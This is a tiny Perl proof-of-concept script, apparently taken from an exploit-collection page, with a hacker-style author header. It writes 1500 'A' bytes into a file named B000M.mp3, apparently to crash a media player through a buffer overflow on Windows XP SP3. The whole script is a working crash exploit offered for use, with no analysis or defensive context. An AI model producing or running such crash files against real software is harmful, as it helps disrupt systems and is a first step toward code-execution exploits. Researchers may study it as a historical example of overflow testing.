11 lines
No EOL
256 B
Perl
Executable file
11 lines
No EOL
256 B
Perl
Executable file
#!/usr/bin/perl
|
|
# H0m3 : S3curity-art.com
|
|
# M4!l: Wizard-skh@hotmail.com
|
|
# T3st3d on: Windows XP SP3
|
|
|
|
print "Tic-Tac";
|
|
my $boom="\x41" x 1500;
|
|
my $filename = "B000M.mp3";
|
|
open (FILE,">$filename");
|
|
print FILE "$boom";
|
|
print "\nFile successfully created!\n"; |